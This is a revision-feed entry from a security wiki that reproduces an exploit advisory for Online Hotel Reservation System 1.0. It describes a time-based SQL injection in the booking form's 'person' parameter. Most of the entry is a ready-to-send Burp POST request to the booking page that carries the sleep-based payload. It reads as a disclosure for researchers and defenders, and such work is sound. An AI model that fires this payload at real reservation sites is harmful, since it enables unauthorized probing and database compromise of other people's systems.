https://pwnwiki.com/index.php?action=history&feed=atom&title=Online_Hotel_Reservation_System_1.0_%E5%9F%BA%E6%96%BC%E6%99%82%E9%96%93%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E 2026-04-21T01:42:00Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Online_Hotel_Reservation_System_1.0_%E5%9F%BA%E6%96%BC%E6%99%82%E9%96%93%E7%9A%84SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=1270&oldid=prev 2021-04-08T09:44:01Z

<p>Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Online Hotel Reservation System 1.0 - &#039;person&#039; time-based SQL Injection # Exploit Author: Mesut Cetin # Date: 2021-01-15 # Vendor Homepage: http...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> # Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection<br /> # Exploit Author: Mesut Cetin<br /> # Date: 2021-01-15<br /> # Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html<br /> # Software Link: https://www.sourcecodester.com/download-code?nid=13492&amp;title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code<br /> # Version: 1.0<br /> # Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0<br /> <br /> ######## Description ########<br /> <br /> The 'person' parameter is vulnerable to time-based SQL Injection. <br /> <br /> <br /> ######## Proof of Concept #######<br /> <br /> Payload: (select*from(select(sleep(10)))a)<br /> <br /> Using Burp Suite, send the following POST request:<br /> <br /> POST /marimar/index.php?p=booking HTTP/1.1<br /> Host: localhost<br /> User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko<br /> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br /> Accept-Language: de,en-US;q=0.7,en;q=0.3<br /> Accept-Encoding: gzip, deflate<br /> Content-Type: application/x-www-form-urlencoded<br /> Content-Length: 71<br /> Origin: http://localhost<br /> Connection: close<br /> Referer: http://localhost/marimar/index.php?p=booking<br /> Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc<br /> Upgrade-Insecure-Requests: 1<br /> <br /> arrival=01%2F19%2F2021&amp;departure=01%2F11%2F2021&amp;person=(select*from(select(sleep(10)))a)&amp;accomodation=0<br /> &lt;/pre&gt;</div>

Pwnwiki